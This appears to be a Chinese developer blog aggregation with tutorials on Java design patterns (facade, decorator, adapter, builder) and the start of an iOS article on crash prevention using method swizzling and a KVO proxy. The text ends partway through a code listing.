TestApiRepository.getInstance().getLogin(new GetLoginParams()).subscribe(new BaseRxNetworkResponseObserver<GetLoginResponse>() {
@Override
public void onResponse(GetLoginResponse getLoginResponse) {

}

@Override
public void onResponseFail(Exception e) {

}

@Override
protected void onBeforeResponseOperation() {

}

@Override
public void onSubscribe(Disposable d) {
add(d);
}
});


优点:

  1. 由于Facade类封装了各个模块交互过程,如果今后内部模块调用关系发生了变化,只需要修改facade实现就可以了
  2. facade实现是可以被多个客户端调用的
  3. 使得客户端和子系统之间解耦,让子系统内部的模块功能更容易扩展和维护;客户端根本不需要知道子系统内部的实现,或者根本不需要知道子系统内部的构成,它只需要跟Facade类交互即可。
收起阅读 »

java 设计模式:装饰者模式

简单详解:1、概念动态地给一个对象添加一些额外的职责。就增加功能来说, 装饰模式相比生成子类更为灵活。该模式以对客户端透明的方式扩展对象的功能。2、使用场景在不影响其他对象的情况下,以动态、透明的方式给单个对象添加职责。和继承类似添加相应的职责。当不能采用生成...
继续阅读 »

简单详解:

1、概念

动态地给一个对象添加一些额外的职责。就增加功能来说, 装饰模式相比生成子类更为灵活。该模式以对客户端透明的方式扩展对象的功能。

2、使用场景

  1. 在不影响其他对象的情况下,以动态、透明的方式给单个对象添加职责。和继承类似添加相应的职责。
  2. 当不能采用生成子类的方法进行扩充时。一种情况是,可能有大量独立的扩展,为支持每一种组合将产生大量的子类,使得子类数目呈爆炸性增长。另一种情况可能是因为类定义被隐藏,或类定义不能用于生成子类。

3、UML结构图分析

  • 抽象构件(Component)角色:给出一个抽象接口,已规范准备接收附加责任的对象。
  • 具体构件(ConcreteComponent)角色:定义一个将要接收附加责任的类
  • 装饰(Decorator)角色:持有一个构件(Component)对象的实例,并定义一个与抽象构件接口一致的接口。
  • 具体装饰(ConcreteDecorator)角色:负责给构件对象“贴上”附加的责任。

4、实际代码分析

/**
* 装饰类Component,所有类的父类
*/
public interface Component {

void sampleOperation();
}

/**
* 实现抽象部件,具体装饰过程还是交给子类实现
*/
public class Decorator implements Component {

private Component component;
public Decorator(Component component){
this.component = component;
}

@Override
public void sampleOperation() {
component.sampleOperation();
}

}

/**
* 需要装扮的类
*/
public class ConcreteComponent implements Component{
@Override
public void sampleOperation() {

}
}

/**
* 具体实现
*/
public class ConcreateDecoratorA extends Decorator{
public ConcreateDecoratorA(Component component) {
super(component);
}

@Override
public void sampleOperation() {
super.sampleOperation();
addPingShengm();
}

/**
* 新增业务方法
*/
private void addPingShengm() {
System.out.println("添加绘彩1");
}
}

/**
* 具体实现
*/
public class ConcreateDecoratorB extends Decorator{
public ConcreateDecoratorB(Component component) {
super(component);
}


@Override
public void sampleOperation() {
super.sampleOperation();
addPingShengm();
}


/**
* 新增业务方法
*/
private void addPingShengm() {
System.out.println("添加绘彩2");
}
}

举一个实际例子:

工厂需要产生多种水杯,有瓶身绘彩,有不锈钢盖被子,也有不锈钢盖和瓶身绘彩的杯子。(等各种需求)

假如说采用继承子类的方式。如下code:

/**
* 创建水杯的接口包含四个方法,底座,盖子,瓶身,一个实现功能product
*/
public interface IShuiBei {

void dizuo();

void gaizi();

void pingsheng();

void product();

}
/**
* 水晶杯实现类
*/
public class ShuiJInBei implements IShuiBei,Component {
@Override
public void dizuo() {
System.out.println("水晶底座");
}

@Override
public void gaizi() {
System.out.println("水晶盖子");
}

@Override
public void pingsheng() {
System.out.println("水晶瓶身");
}

@Override
public void product() {
dizuo();
gaizi();
pingsheng();
}
}

/**
* 添加绘彩的水晶杯
*/
public class HuiCaiShuiJinBei extends ShuiJInBei{
@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}
/**
* 不锈钢杯子盖的水晶杯
*/
public class HuiJinGangGaiBei extends ShuiJInBei{
@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
}

/**
* 不锈钢杯子盖的水晶杯带彩绘
*/
public class HuiCaiShuiJinGangGaiBei extends ShuiJInBei{
@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}

//运行
HuiCaiShuiJinBei huiCaiShuiJinBei = new HuiCaiShuiJinBei();
HuiCaiShuiJinGangGaiBei huiCaiShuiJinGangGaiBei = new HuiCaiShuiJinGangGaiBei();
ShuiJInBei shuiJInBei = new ShuiJInBei();
huiCaiShuiJinBei.product();
huiCaiShuiJinGangGaiBei.product();
shuiJInBei.product();

一共创建三个子类,一个父类,当然如果需求更多的话,子类会不断的增加。

装饰类实现如上功能code:

/**
* 实现抽象部件
*/
public class ShuijinbeiDecorator implements IShuiBei{
IShuiBei iShuiBei;
public ShuijinbeiDecorator(IShuiBei iShuiBei){
this.iShuiBei = iShuiBei;
}

@Override
public void dizuo() {
iShuiBei.dizuo();
}

@Override
public void gaizi() {
iShuiBei.gaizi();
}

@Override
public void pingsheng() {
iShuiBei.pingsheng();
}

@Override
public void product() {
dizuo();
gaizi();
pingsheng();
}
}
/**
* 钢盖实现类
*/
public class GangGaiDecorator extends ShuijinbeiDecorator{
public GangGaiDecorator(IShuiBei iShuiBei) {
super(iShuiBei);
}

@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
}

/**
* 彩绘实现类
*/
public class CaihuiDecorator extends ShuijinbeiDecorator{
public CaihuiDecorator(IShuiBei iShuiBei) {
super(iShuiBei);
}

@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}
//运行
IShuiBei iShuiBei = new ShuiJInBei();
iShuiBei.product();
iShuiBei = new CaihuiDecorator(iShuiBei);
iShuiBei.product();
iShuiBei = new GangGaiDecorator(iShuiBei);
iShuiBei.product();
iShuiBei = new ShuiJInBei();
iShuiBei = new GangGaiDecorator(iShuiBei);
iShuiBei.product();

看到如上代码你大概会恍然大悟,装饰模式如果在你的子类特别多,用装饰模式很好,但是比较容易出错哦。

装饰模式的优点

  1. 装饰模式与继承关系的目的都是要拓展对象的功能,但是装饰模式可以提供比继承更多的灵活性。
  2. 装饰模式允许系统动态决定“贴上”一个需要的“装饰”,或者“除掉”一个不需要的“装饰”。继承关系则不同,继承关系是静态的,它在系统运行前就决定了。
  3. 可以对一个对象进行多次装饰,通过使用不同的具体装饰类以及这些装饰类的排列组合。

装饰模式的缺点

由于使用装饰模式,可以比使用继承关系需要较少数目的类。使用较少的类,当然使设计比较易于进行。但是,在另外一方面,使用装饰模式会产生比使用继承关系所产生的更多的对象。而更多的对象会使得查找错误更为困难,特别是这些对象在看上去极为相似的时候。

装饰模式在Android中的实际应用

context类簇

收起阅读 »

java 设计模式:适配器模式

adapter定义:将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器(Wrapper)。类适配器定义:是把适配的类的api转化成为目标类的api。adapter是为了让adaptee与Target发生关系建立的a...
继续阅读 »

adapter定义:

将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器(Wrapper)。

类适配器

定义:

是把适配的类的api转化成为目标类的api。

adapter是为了让adaptee与Target发生关系建立的

adapter 实现Target接口,来继承Adaptee,实现需要实现的方法

代码:

//适配接口
public interface Target {
void request();
}

//需要适配的对象
public class Adaptee {

public void SpecialRequest(){
System.out.println("SpecialRequest");
}
}
//适配器
public class Adapter extends Adaptee implements Target {

@Override
public void request() {
specialRequest();
}
}

//运行代码
Target target = new Adapter();
target.request();
  • 类适配器是继承的方式,方法通过静态定义的
  • 对于类适配器,可以重新定义Adaptee的部分行为。
  • 对于类适配器,仅仅引入一个对象,并不需要额外的引用来间接得到Adaptee。
  • 对于类适配器,由于适配器直接继承adaptee,使得适配器不能和adaptee的子类一起工作。

对象适配器模式

定义:与类的适配器模式一样,对象的适配器模式把被适配的类的api转化为目标类的api,与类的适配器模式不同的是,对象的适配器模式不是使用继承关系连接到Adaptee类,而是通过委派关系连接到adaptee类。

//适配接口
public interface Target {
void request();
}

//需要适配的对象
public class Adaptee {

public void SpecialRequest(){
System.out.println("SpecialRequest");
}
}
//适配器
public class Adapter implements Target {

Adaptee adaptee;

public Adapter(Adaptee adaptee){
this.adaptee = adaptee;
}

@Override
public void request() {
adaptee.specialRequest();
}
}

//运行代码
Target target = new Adapter(new Adaptee());
target.request();

如上两个对比,就能看出类适配器和对象适配器的区别。

对象适配器:持有一个对象来实现适配器模式

类适配器:通过继承来实现适配器模式。

  • 对象适配器使用对象组合的方式,是动态组合的方式
  • 对象适配器,一个适配器可以把多种不同的源适配器适配到同一个目标
  • 对于对象适配器,要重定义adapee的行为比较困难
  • 对象适配器需要额外的引用来间接得到adapter

adaper在Android中的运用

listview

收起阅读 »

java 设计模式:建造者模式

概念:建造者模式是较为复杂的创建型模式,将组件和组件的组件过程分开,然后一步一步建造一个复杂的对象。所以建造者模式又叫生成器模式。它允许用户在不知道内部构建细节的情况下,非常精细地控制对象构建流程。该模式是为了将构建过程非常复杂的对象进行拆分,让它与它的部件解...
继续阅读 »

概念:

建造者模式是较为复杂的创建型模式,将组件和组件的组件过程分开,然后一步一步建造一个复杂的对象。所以建造者模式又叫生成器模式。它允许用户在不知道内部构建细节的情况下,非常精细地控制对象构建流程。该模式是为了将构建过程非常复杂的对象进行拆分,让它与它的部件解耦,提升代码的可读性以及扩展性。

使用场景:

构造一个对象需要很多参数的时候,并且参数的个数或者类型不固定的时候

UML结构图

例:

//创建复杂对象Product
public class Product {

private String partA;
private String partB;
private String partC;

public String getPartA() {
return partA;
}

public void setPartA(String partA) {
this.partA = partA;
}

public String getPartB() {
return partB;
}

public void setPartB(String partB) {
this.partB = partB;
}

public String getPartC() {
return partC;
}

public void setPartC(String partC) {
this.partC = partC;
}
}

//创建抽象类Builder
public abstract class Builder {

protected Product product = new Product();

public abstract void builderPartA();
public abstract void builderPartB();
public abstract void builderPartC();

public Product getResult() {
return product;
}
}

//创建实现类ConcreateBuilder
public class ConcreateBuilder extends Builder {
@Override
public void builderPartA() {

}

@Override
public void builderPartB() {

}

@Override
public void builderPartC() {

}
}

//创建组装对象Director
public class Director {

private Builder builder;

public Director(Builder builder){
this.builder = builder;
}

public void setBuilder(Builder builder) {
this.builder = builder;
}

public Product constract(){
builder.builderPartA();
builder.builderPartB();
builder.builderPartC();
return builder.getResult();
}
}
//运行
Builder builder = new ConcreateBuilder();
Director director = new Director(builder);
Product product = director.constract();
  • Builder:他为创建一个创建Product对象的各个部件指定抽象接口
  • ConcreateBuilder:它实现了builder接口,实现各个部件的具体构造和装配方法。
  • Product:他是被构建的复杂对象,包好多个组成部件。
  • Director:指挥者又称为导演类,负责安排复杂对象的建造次序,指挥者与抽象建造者之间存在关联关系。

优点:

  • 松散耦合:生成其模式可以用同一个构造算法构建出表现上完全不同的产品,实现产品构建和产品表现上的分离。
  • 很容易改变产品内部表示。
  • 更好的复用性:生成器模式很好的实现了构建算法和具体产品实现的分离。

缺点:

  • 会产生多余的Builder对象,Director对象,消耗内存。
  • 对象构建过程暴露。

builder模式在Android中的实际运用

1.AlertDialog

2.Glide/okhttp

收起阅读 »

iOS --常见崩溃和防护(一)

iOS 的崩溃我们常见的crash有哪些呢?1.unrecognized selector crash (没找到对应的函数)2.KVO crash :(KVO的被观察者dealloc时仍然注册着KVO导致的crash,添加KVO重复添加观察者或重复移除观察者 ...
继续阅读 »

iOS 的崩溃

我们常见的crash有哪些呢?

1.unrecognized selector crash (没找到对应的函数)

2.KVO crash :(KVO的被观察者dealloc时仍然注册着KVO导致的crash,添加KVO重复添加观察者或重复移除观察者 )

3.NSNotification crash:(当一个对象添加了notification之后,如果dealloc的时候,仍然持有notification)

4.NSTimer类型crash:(需要在合适的时机invalidate 定时器,否则就会由于定时器timer强引用target的关系导致 target不能被释放,造成内存泄露,甚至在定时任务触发时导致crash)

5.Container类型crash:(数组,字典,常见的越界,插入,nil)

6.野指针类型的crash

7.非主线程刷UI类型:(在非主线程刷UI将会导致app运行crash)……

如何防护crash

一、unrecognized selector crash

unrecognized selector类型的crash,通常是因为一个对象调用了一个不属于它方法的方法导致的。而我们可以从方法调用的过程中,寻找到避免程序崩溃的突破口。

方法调用的过程是哪样的呢?

方法调用的过程--调用实例方法
1.在对象的<缓存方法列表> 中去找要调用的方法,找到直接执行其实现。
2.对象的<缓存方法列表> 里没找到,就去<类的方法列表>里找,找到了就执行其实现。
3.还没找到,说明这个类自己没有了,就会通过isa去向其父类里执行1、2。
4.如果找到了根类还没找到,那么就是没有了,会转向一个拦截调用的方法,可以自己在拦截调用方法里面做一些处理。
5.如果没有在拦截调用里做处理,那么就会报错崩溃。

方法调用的过程--调用类方法
1.在类的<缓存方法列表> 中去找要调用的方法,找到直接执行其实现。
2.类的<缓存方法列表> 里没找到,就去里找,找到了就执行其实现。
3.还没找到,说明这个类自己没有了,就会通过isa去meta类的父类里执行1、2。
4.如果找到了根meta类还没找到,那么就是没有了,会转向一个拦截调用的方法,可以自己在拦截调用方法里面做一些处理。
5.如果没有在拦截调用里做处理,那么就会报错崩溃。

从上面的方法调用过程可以看出,在找不到调用的方法程序崩溃之前,我们可以通过重写NSObject方法进行拦截调用,阻止程序的crash。这里面就用到了消息的转发机制:

runtime提供了3种方式去补救:

1:调用resolveInstanceMethod给个机会让类添加这个实现这个函数
2:调用forwardingTargetForSelector让别的对象去执行这个函数
3:调用forwardInvocation(函数执行器)灵活的将目标函数以及其他形式执行。
如果都不行,系统才会调用doesNotRecognizeSelector抛出异常。

既然可以补救,我们完全也可以利用消息转发机制来做文章,但是我们选择哪一步比较合适呢?
1:resolveInstanceMethod需要在类的本身动态的添加它本身不存在的方法,这些方法对于该类本身来说是冗余的
2:forwardInvocation可以通过NSInvocation的形式将消息转发给多个对象,但是其开销比较大,需要创建新的 NSInvocation对象,并且forwardInvocation的函数经常被使用者调用来做消息的转发选择机制,不适合多次重写
3:forwardingTargetForSelector可以将消息转发给一个对象,开销较小,并且被重写的概率较低,适合重写

对于NSObject方法的重写,我们可以分为以下几步:
第一步:为类动态的创建一个消息接受类。
第二步:为类动态为桩类添加对应的Selector,用一个通用的返回0的函数来实现该SEL的IMP
第三步:将消息直接转发到这个消息接受类类对象上。

解决方法:

1、创建一个消息接受类。(继承至NSObject)

当调用方法的消息转发给该类后,该类也没有这个方法,回调用resolveInstanceMethod:方法,在消息接受类中重写方法,返回YES,表明该消息已经处理,这样就不会崩溃了。
重写的resolveInstanceMethod:方法中一定要有动态添加方法的处理,不然会继续走消息转发的流程,从而造成死循环。

#import 


@interface XZUnrecognizedSelectorSolveObject : NSObject

@property (nonatomic, weak) NSObject *objc;

@end
#Import "XZUnrecognizedSelectorSolveObject.h"
#import

@interface XZUnrecognizedSelectorSolveObject ()

@end

@implementation XZUnrecognizedSelectorSolveObject

+ (BOOL)resolveInstanceMethod:(SEL)sel {
// 如果没有动态添加方法的话,还会调用forwardingTargetForSelector:方法,从而造成死循环
class_addMethod([self class], sel, (IMP)addMethod, "v@:@");
return YES;
}

id addMethod(id self, SEL _cmd) {
NSLog(@"WOCrashProtector: unrecognized selector: %@", NSStringFromSelector(_cmd));
return 0;
}

@end
2、为NSObject添加分类,拦截NSObject的forwardingTargetForSelector:方法。

实现原理:在分类中自定义一个xz_forwardingTargetForSelector:方法,然后替换掉系统的forwardingTargetForSelector:方法

#import 

NS_ASSUME_NONNULL_BEGIN

@interface NSObject (SelectorCrash)

+ (void)xz_enableSelectorProtector;

@end

NS_ASSUME_NONNULL_END
#import "NSObject+SelectorCrash.h"
#import
#import "NSObject+XZSwizzle.h"
#Import "XZUnrecognizedSelectorSolveObject.h"

@implementation NSObject (SelectorCrash)

+ (void)xz_enableSelectorProtector {

static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
NSObject *object = [[NSObject alloc] init];
[object xz_instanceSwizzleMethod:@selector(forwardingTargetForSelector:) replaceMethod:@selector(xz_forwardingTargetForSelector:)];
});
}

- (id)xz_forwardingTargetForSelector:(SEL)aSelector {
// 判断某个类是否有某个实例方法,有则返回YES,否则返回NO
if (class_respondsToSelector([self class], @selector(forwardInvocation:))) {
// 有forwardInvocation实例方法
IMP impOfNSObject = class_getMethodImplementation([NSObject class], @selector(forwardInvocation:));
IMP imp = class_getMethodImplementation([self class], @selector(forwardInvocation:));

if (imp != impOfNSObject) {
return nil;
}
}

// 新建桩类转发消息
XZUnrecognizedSelectorSolveObject *solveObject = [XZUnrecognizedSelectorSolveObject new];
solveObject.objc = self;
return solveObject;
}

@end

交换方法代码 如下:

#import 

NS_ASSUME_NONNULL_BEGIN

@interface NSObject (XZSwizzle)

/**
对类方法进行拦截并替换

@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;

/**
对类方法进行拦截并替换

@param kClass 具体的类
@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;



/**
对实例方法进行拦截并替换

@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;

/**
对实例方法进行拦截并替换

@param kClass 具体的类
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;

@end

NS_ASSUME_NONNULL_END

#import "NSObject+XZSwizzle.h"
#import

@implementation NSObject (XZSwizzle)


/**
对类方法进行拦截并替换

@param originalSelector 类原有方法
@param replaceSelector 自定义替换方法
*/
+ (void)xz_classSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
Class class = [self class];

[self xz_classSwizzleMethodWithClass:class orginalMethod:originalSelector replaceMethod:replaceSelector];
}

/**
对类方法进行拦截并替换

@param kClass 具体的类
@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {

// Method中包含IMP函数指针,通过替换IMP,使SEL调用不同函数实现
Method originalMethod = class_getClassMethod(kClass, originalSelector);
Method replaceMethod = class_getClassMethod(kClass, replaceSelector);

// 获取MetaClass (交换、添加等类方法需要用metaClass)
Class metaClass = objc_getMetaClass(NSStringFromClass(kClass).UTF8String);

// class_addMethod:如果发现方法已经存在,会失败返回,也可以用来做检查用,我们这里是为了避免源方法没有实现的情况;如果方法没有存在,我们则先尝试添加被替换的方法的实现
BOOL didAddMethod = class_addMethod(metaClass, originalSelector, method_getImplementation(replaceMethod), method_getTypeEncoding(replaceMethod));

if (didAddMethod) {
// 添加成功(原方法未实现,为防止crash,需要将刚添加的原方法替换)
class_replaceMethod(metaClass, replaceSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod));
} else {
// 添加失败(原本就有原方法, 直接交换两个方法)
method_exchangeImplementations(originalMethod, replaceMethod);
}
}


/**
对实例方法进行拦截并替换

@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
Class class = [self class];

[self xz_instanceSwizzleMethodWithClass:class orginalMethod:originalSelector replaceMethod:replaceSelector];
}

/**
对实例方法进行拦截并替换

@param kClass 具体的类
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {

Method originalMethod = class_getInstanceMethod(kClass, originalSelector);
Method replaceMethod = class_getInstanceMethod(kClass, replaceSelector);

// class_addMethod:如果发现方法已经存在,会失败返回,也可以用来做检查用,我们这里是为了避免源方法没有实现的情况;如果方法没有存在,我们则先尝试添加被替换的方法的实现
BOOL didAddMethod = class_addMethod(kClass, originalSelector, method_getImplementation(replaceMethod), method_getTypeEncoding(replaceMethod));

if (didAddMethod) {
// 添加成功(原方法未实现,为防止crash,需要将刚添加的原方法替换)
class_replaceMethod(kClass, replaceSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod));
} else {
// 添加失败(原本就有原方法, 直接交换两个方法)
method_exchangeImplementations(originalMethod, replaceMethod);
}
}

@end
调用:
在AppDelegate调用[NSObject xz_enableSelectorProtector]; 就可以了

二、KVO Crash

KVO Crash,通常是KVO的被观察者dealloc时仍然注册着KVO导致的crash,添加KVO重复添加观察者或重复移除观察者引起的。
一个被观察的对象上有若干个观察者,每个观察者又有若干条keypath。如果观察者和keypathx的数量一多,很容易不清楚被观察的对象整个KVO关系,导致被观察者在dealloc的时候,仍然残存着一些关系没有被注销,同时还会导致KVO注册者和移除观察者不匹配的情况发生。尤其是多线程的情况下,导致KVO重复添加观察者或者移除观察者的情况,这种类似的情况通常发生的比较隐蔽,很难从代码的层面上排查。

解决方法:

可以让观察对象持有一个KVO的delegate,所有和KVO相关的操作均通过delegate来进行管理,delegate通过建立一张MAP表来维护KVO的整个关系,这样做的好处有2个:

1:如果出现KVO重复添加观察或者移除观察者(KVO注册者不匹配的)情况,delegate,可以直接阻止这些非正常的操作。

2:被观察对象dealloc之前,可以通过delegate自动将与自己有关的KVO关系都注销掉,避免了KVO的被观察者dealloc时仍然注册着KVO导致的crash

具体方式:
1、自定义一个继承自NSObject的代理类,并通过Catagory将这个代理类作为NSObject的属性进行关联
#import 
#import "XZKVOProxy.h"

NS_ASSUME_NONNULL_BEGIN

@interface NSObject (KVOCrash)

@property (nonatomic, strong) XZKVOProxy * _Nullable KVOProxy; // 自定义的kvo关系的代理

@end

NS_ASSUME_NONNULL_END
#import "NSObject+KVOCrash.h"
#import "XZKVOProxy.h"
#import


#pragma mark - NSObject + KVOCrash

static void *NSObjectKVOProxyKey = &NSObjectKVOProxyKey;

@implementation NSObject (KVOCrash)

- (XZKVOProxy *)KVOProxy {
id proxy = objc_getAssociatedObject(self, NSObjectKVOProxyKey);

if (nil == proxy) {
proxy = [XZKVOProxy kvoProxyWithObserver:self];
self.KVOProxy = proxy;
}

return proxy;
}

- (void)setKVOProxy:(XZKVOProxy *)proxy
{
objc_setAssociatedObject(self, NSObjectKVOProxyKey, proxy, OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}

@end

2、在自定义代理类中建立一个map来维护KVO整个关系

#import 


typedef void (^XZKVONitificationBlock)(id _Nullable observer, id _Nullable object, NSDictionary * _Nullable change);

/**
KVO配置类
用于存储KVO里面的相关设置参数
*/
@interface XZKVOInfo : NSObject

//- (instancetype _Nullable)initWithObserver:(id _Nonnull)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock _Nonnull )block;

@end


NS_ASSUME_NONNULL_BEGIN
/**
KVO管理类
用于管理object添加和移除的消息,(通过Map进行KVO之间的关系)(字典应该也可以)
*/
@interface XZKVOProxy : NSObject

@property (nullable, nonatomic, weak, readonly) id observer;


+ (instancetype)kvoProxyWithObserver:(nullable id)observer;

- (void)xz_observer:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock)block;

- (void)xz_unobserver:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath;
- (void)xz_unobserver:(id _Nullable)object;

- (void)xz_unobserverAll;

@end

NS_ASSUME_NONNULL_END

#import "XZKVOProxy.h"
#import


@interface XZKVOInfo ()
{
@public
__weak id _object; // 观察对象
NSString *_keyPath;
NSKeyValueObservingOptions _options;
SEL _action;
void *_context;
XZKVONitificationBlock _block;
}
@end

@implementation XZKVOInfo

- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
context:(void * _Nullable)context {
return [self initWithObserver:object keyPath:keyPath options:options block:NULL action:NULL context:context];
}

- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
context:(void * _Nullable)context
block:(XZKVONitificationBlock)block {

return [self initWithObserver:object keyPath:keyPath options:options block:block action:NULL context:context];
}

- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
block:(_Nullable XZKVONitificationBlock)block
action:(_Nullable SEL)action
context:(void * _Nullable)context {
if (self = [super init]) {
_object = object;
_block = block;
_keyPath = [keyPath copy];
_options = options;
_action = action;
_context = context;
}
return self;
}

@end



/**
此类用来管理混乱的KVO关系
让被观察对象持有一个KVO的delegate,所有和KVO相关的操作均通过delegate来进行管理,delegate通过建立一张map来维护KVO整个关系

好处:
不会crash如果出现KVO重复添加观察者或重复移除观察者(KVO注册观察者与移除观察者不匹配)的情况,delegate可以 1.直接阻止这些非正常的操作。

crash 2.被观察对象dealloc之前,可以通过delegate自动将与自己有关的KVO关系都注销掉,避免了KVO的被观察者dealloc时仍然注册着KVO导致的crash。

👇:
重复添加观察者不会crash,即不会走@catch
多次添加对同一个属性观察的观察者,系统方法内部会强应用这个观察者,同理即可remove该观察者同样次数。

*/
@interface XZKVOProxy ()
{
pthread_mutex_t _mutex;
NSMapTable *> *_objectInfoMap;///< map来维护KVO整个关系
}
@end

@implementation XZKVOProxy

+ (instancetype)kvoProxyWithObserver:(nullable id)observer {
return [[self alloc] initWithObserver:observer];
}

- (instancetype)initWithObserver:(nullable id)observer {
if (self = [super init]) {
_observer = observer;
_objectInfoMap = [[NSMapTable alloc] initWithKeyOptions:NSPointerFunctionsStrongMemory | NSPointerFunctionsObjectPointerPersonality valueOptions:NSPointerFunctionsStrongMemory | NSPointerFunctionsObjectPointerPersonality capacity:0];
}
return self;
}

/**
加锁、解锁
*/
- (void)lock {
pthread_mutex_lock(&_mutex);
}

- (void)unlock {
pthread_mutex_unlock(&_mutex);
}


/**
添加、删除 观察者
*/
- (void)xz_observer:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock)block {

// 断言
NSAssert(0 != keyPath.length && NULL != block, @"missing required parameters observe:%@ keyPath:%@ block:%p", object, keyPath, block);
if (nil == object || 0 == keyPath.length || NULL == block) {
return;
}

// 将观察的信息转成info对象
// self即kvoProxy是观察者;object是被观察者
XZKVOInfo *info = [[XZKVOInfo alloc] initWithObserver:self keyPath:keyPath options:options context:context block:block];

if (info) {
// 将info以key-value的形式存储到map中。key是被观察对象;value是观察信息的集合。
// 加锁
[self lock];

NSMutableSet *infos = [_objectInfoMap objectForKey:object];


BOOL _isExisting = NO;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:info->_keyPath]) {
// 观察者已存在
_isExisting = YES;
break;
}
}

if (_isExisting == YES) {
// 解锁
[self unlock];
return;
}
// // check for info existence
// XZKVOInfo *existingInfo = [infos member:info];
// if (nil != existingInfo) {
// // observation info already exists; do not observe it again
//
// // 解锁
// [self unlock];
// return;
// }

// 不存在
if (infos == nil) {
// 创建set,并将set添加进Map里
infos = [NSMutableSet set];
[_objectInfoMap setObject:infos forKey:object];
}
// 将要添加的KVOInfo添加进set里面
[infos addObject:info];

// 解锁
[self unlock];


// 将 kvoProxy 作为观察者;添加观察者
[object addObserver:self forKeyPath:info->_keyPath options:info->_options context:info->_context];
}
}

- (void)xz_unobserver:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath {

// 将观察的信息转成info对象
// self即kvoProxy是观察者;object是被观察者
XZKVOInfo *info = [[XZKVOInfo alloc] initWithObserver:self keyPath:keyPath options:0 context:nil];

// 加锁
[self lock];

// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];

BOOL _isExisting = NO;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:info->_keyPath]) {
// 观察者已存在
_isExisting = YES;
info = existingInfo;
break;
}
}

if (_isExisting == YES) {
// 存在
[infos removeObject:info];

// remove no longer used infos
if (0 == infos.count) {
[_objectInfoMap removeObjectForKey:object];
}

// 解锁
[self unlock];


// 移除观察者
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
} else {
// 解锁
[self unlock];
}

// XZKVOInfo *registeredInfo = [infos member:info];
//
// if (nil != registeredInfo) {
// [infos removeObject:registeredInfo];
//
// // remove no longer used infos
// if (0 == infos.count) {
// [_objectInfoMap removeObjectForKey:object];
// }
//
// // 解锁
// [self unlock];
//
//
// // 移除观察者
// [object removeObserver:self forKeyPath:registeredInfo->_keyPath context:registeredInfo->_context];
// } else {
// // 解锁
// [self unlock];
// }
}

- (void)xz_unobserver:(id _Nullable)object {
// 加锁
[self lock];

// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];

[_objectInfoMap removeObjectForKey:object];
// 解锁
[self unlock];

// 批量移除观察者
for (XZKVOInfo *info in infos) {
// 移除观察者
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
}
}

- (void)xz_unobserverAll {

if (_objectInfoMap) {
// 加锁
[self lock];

// copy一份map,防止删除数据异常冲突
NSMapTable *objectInfoMaps = [_objectInfoMap copy];

[_objectInfoMap removeAllObjects];

// 解锁
[self unlock];

// 移除全部观察者
for (id object in objectInfoMaps) {

NSSet *infos = [objectInfoMaps objectForKey:object];
if (!infos || infos.count == 0) {
continue;
}

